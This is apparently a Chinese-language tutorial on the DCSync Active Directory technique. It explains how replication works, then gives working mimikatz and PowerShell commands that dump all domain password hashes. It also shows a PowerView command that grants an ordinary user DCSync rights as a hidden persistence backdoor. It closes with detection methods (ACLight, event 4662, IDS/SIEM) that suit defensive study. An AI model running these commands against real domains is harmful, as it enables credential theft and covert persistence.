【域渗透】DCSync

文章目录
  1. 1. 1. DCSync
    1. 1.1. 1.1. DCSync 是什么
    2. 1.2. 1.2. DCSync 渗透的由来
  2. 2. 2. 利用 DCSync 获取 Hash
    1. 2.0.1. 2.1. 使用 mimikatz
    2. 2.0.2. 2.2. powershell 实现
  • 3. 3. 利用 DCSync 在域内维持权限
    1. 3.0.1. 3.1. 在域内一台登录了 test1 用户的主机上面,直接使用 mimikatz 的 DCSync 功能
    2. 3.0.2. 3.2. 使用 runas 实现登录 test1 用户,再使用 DCSync
    3. 3.0.3. 3.3. 使用 powershell 实现登录 test1 用户,再使用 DCSync
  • 4. 4. 自动化检测 DCSync 以及 DCSync 后门的方法
    1. 4.1. 4.1. DCSync 后门
    2. 4.2. 4.2. DCSync 检测
  • 概述:DCSync 介绍及渗透,获取用户 hash,对 Dcsync 的检测及防护

    相关文章:

    1. DCSync

    1.1. DCSync 是什么

    DCSync 是一种机制。在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

    1.2. DCSync 渗透的由来

    DCSync 是域渗透中经常会用到的技术,其被整合在了 [[…/…/…/C_OpenSource/【mimikatz】|【mimikatz】]] 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。

    2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。不要尝试在公司的域内执行这种操作,除了权限问题,还有一些比较常见的防护策略,详见后文检测与防护相关。

    注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。

    在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

    渗透相关文章

    2. 利用 DCSync 获取 Hash

    利用条件:

    获得以下任一用户的权限:

    • Administrators 组内的用户
    • Domain Admins 组内的用户
    • Enterprise Admins 组内的用户
    • 域控制器的计算机帐户

    利用原理:

    • 利用 DRS(Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户凭据

    参考资料:

    实现代码:

    2.1. 使用 mimikatz

    导出域内所有用户的 hash:

    1
    mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

    导出域内 administrator 帐户的 hash:

    1
    mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

    2.2. powershell 实现

    https://gist.github.com/monoxgas/9d238accd969550136db

    通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能

    导出域内所有用户的 hash:

    1
    Invoke-DCSync -DumpForest | ft -wrap -autosize

    导出域内 administrator 帐户的 hash:

    1
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

    这里可以扩展的知识点包括: #pass-the-hash #pass-the-key

    3. 利用 DCSync 在域内维持权限

    参考文章:

    利用条件:

    获得以下任一用户的权限:

    • Domain Admins 组内的用户
    • Enterprise Admins 组内的用户

    利用原理:

    向域内的一个普通用户添加如下三条 ACE(Access Control Entries):

    • DS-Replication-Get-Changes(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
    • DS-Replication-Get-Changes-All(GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
    • DS-Replication-Get-Changes(GUID: 89e95b76-444d-4c62-991a-0facbeda640c)

    该用户即可获得利用 DCSync 导出域内所有用户 hash 的权限

    实现代码:

    https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

    利用方法:

    添加 ACE 的命令如下:

    1
    Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

    补充:

    删除 ACE 的命令:

    1
    Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

    注:

    关于更多 ACL 的内容可参考之前的文章:《渗透技巧——Windows 下的 Access Control List》

    使用域用户 test1 调用 DCSync 的方法如下:

    3.1. 在域内一台登录了 test1 用户的主机上面,直接使用 mimikatz 的 DCSync 功能

    1
    mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

    3.2. 使用 runas 实现登录 test1 用户,再使用 DCSync

    (1)弹出 cmd

    1
    echo 123456789 | runas /noprofile /user:test\test1 cmd

    弹出的 cmd 下执行如下命令:

    1
    mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

    (2)不弹框实现

    1
    echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat

    1.bat 的内容如下:

    1
    c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

    注:

    同类的工具还有 lsrunas、lsrunase 和 CPAU

    3.3. 使用 powershell 实现登录 test1 用户,再使用 DCSync

    (1)弹出 cmd

    1
    2
    3
    4
    $uname="test\test1"
    $pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
    $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
    Start-Process -FilePath "cmd.exe" -Credential $cred

    弹出的 cmd 下执行如下命令:

    1
    mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

    (2)不弹框实现

    1
    2
    3
    4
    $uname="test\test1"
    $pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
    $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
    Start-Process -FilePath "c:\test\1.bat" -Credential $cred

    1.bat 的内容如下:

    1
    c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

    注:

    使用 wmic 在本机实现登录用户 test1 会失败,错误如下:

    1
    2
    ERROR:
    Description = User credentials cannot be used for local connections

    4. 自动化检测 DCSync 以及 DCSync 后门的方法

    4.1. DCSync 后门

    具有高权限但不在高权限组的用户被称之为 Shadow Admin,例如 0x03 中的域用户 test1,仅通过查询高权限组的成员无法发现域内的 Shadow Admin

    检测原理:

    枚举 Active Directory 中所有用户的 ACL,标记出特权帐户

    实现代码:

    https://github.com/cyberark/ACLight

    利用条件:

    • Powershell v3.0
    • 域内普通用户权限

    检测方法:

    执行项目中的 Execute-ACLight2.bat

    生成三个文件:

    • Privileged Accounts - Layers Analysis.txt
    • Privileged Accounts Permissions - Final Report.csv
    • Privileged Accounts Permissions - Irregular Accounts.csv

    文件中会显示出所有特权帐户

    经测试,ACLight 能够检测出被添加 DCSync 权限的用户 test1

    4.2. DCSync 检测

    相关文章

    1. 通过 IDS/IPS 检测 RPC/DCE 流量,以及专门针对 IDL_DRSGetNCChanges 接口流量的检测
    2. 通过事件日志进行检测。具体操作可以看文章内容,主要是通过开启审计目录服务访问策略来生成系统事件(事件 ID :4662)。
    3. 使用 SIEM(Security Information and event management, SIEM, 信息安全和事件管理)。